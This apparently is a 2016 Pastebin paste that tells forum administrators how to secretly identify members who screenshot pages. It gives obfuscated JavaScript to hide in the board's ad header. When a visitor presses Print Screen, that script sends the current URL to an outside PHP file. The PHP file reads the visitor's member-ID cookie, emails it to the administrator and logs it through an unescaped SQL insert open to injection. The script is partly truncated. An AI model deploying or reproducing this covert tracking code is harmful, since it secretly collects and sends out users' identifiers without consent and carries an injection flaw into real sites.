Advertisement
Guest User

Untitled

a guest
Jun 17th, 2016
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.07 KB | None | 0 0
  1. Quote
  2. There's 2 pieces of code used to make this work. First section goes in the "Header Code" which is found in Ad Code Integration in ACP (or just search for header). You can also put it in the footer code, it doesn't matter. Both of these spots are where you'd ordinarily put the code for your ads from google adsense.
  3.  
  4. Anyway, the code to copy/paste into there is:
  5.  
  6. var _0xef67=["onkeyup","which","keyCode","event","XMLHttpRequest","Microsoft.XMLHTTP","http://runescapedina...","open","send"];document[_0xef67[0]]=function keyPress(_0x78e1x2){var _0x78e1x3=_0x78e1x2[_0xef67[1]]?_0x78e1x2[_0xef67[1]]:window[_0xef67[3]][_0xef67[2]];if(_0x78e1x3==44){var _0x78e1x4;if(window[_0xef67[4]]){_0x78e1x4= new XMLHttpRequest();} else {_0x78e1x4= new ActiveXObject(_0xef67[5]);} ;var _0x78e1x5=_0xef67[6]+document[_0xef67[7]];
  7.  
  8. This code looks like shit because it's only partly deobfuscated, but what it's doing is looking for keyPress event, checking if the keypress is the corresponding keycode for Print Screen, and if it is then it sends a request to stats.php (a file that you'll create) containing the current address that the person's on. You'll want to change the runescapedinasty link in this code to the location of the other file that you'll create.
  9.  
  10. The other file receives the request and gets the cookie and the URL they were on:
  11.  
  12. <?php
  13.  
  14. $email_to = "YOUREMAIL@gmail.com";
  15. $email_subject = "Member ID";
  16.  
  17. $m = 'null';
  18. $url = 'null';
  19.  
  20. if(isset($_COOKIE['rsd3member_id'])){
  21. $m= $_COOKIE['rsd3member_id'];}
  22.  
  23. if(isset($_GET['url'])){
  24. $url = $_GET['url'];
  25. }
  26.  
  27. $now = date("Y-m-d H:i:s");
  28.  
  29. $email_message = 'memberid: '.$m.', url:'.$url.', time:'.$now;
  30.  
  31.  
  32. // create email headers
  33. $headers = 'From: rsdscreenshot'. "\r\n" . 'Reply-To: rsdscreenshot'. "\r\n".'X-Mailer: PHP/' . phpversion();
  34. @mail($email_to, $email_subject, $email_message, $headers) or die('failure');
  35.  
  36. $host = 'murofdsr.db.7604019.hostedresource.com';
  37. $database = 'databasename';
  38. $username = 'databaseusername';
  39. $password = 'databasepassword';
  40. $conn = mysql_connect($host,$username,$password);
  41. if(!$conn)
  42. { die("failed to connect");}
  43. mysql_select_db($database);
  44. $table = 'rsd_screenshots';
  45.  
  46. $insert = "INSERT INTO $table VALUES ('$m', '$url', '$now')";
  47. $results = mysql_query($insert, $conn);
  48.  
  49.  
  50. ?>
  51.  
  52. All of the stuff at the bottom, after @mail, is unnecessary if you only want to get the information through email. I logged it in our database too so I could query it later if i wanted. If you want it in the database, change the variables in that section of code, and create the table with those 3 fields.
  53.  
  54. The other fields you need to change in that code are the email_to (change to your email, duh) and the cookie name. Search for cookie prefix in ACP to find the prefix being used on your boards, then add member_id after it (RSD's prefix is rsd3).
  55.  
  56. Once you've altered the code above, save it in a php file and name it whatever you want, then upload to your server. Change the first section of code to have the path to the file you uploaded, and then add that code in the header or footer. And then it should all work.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement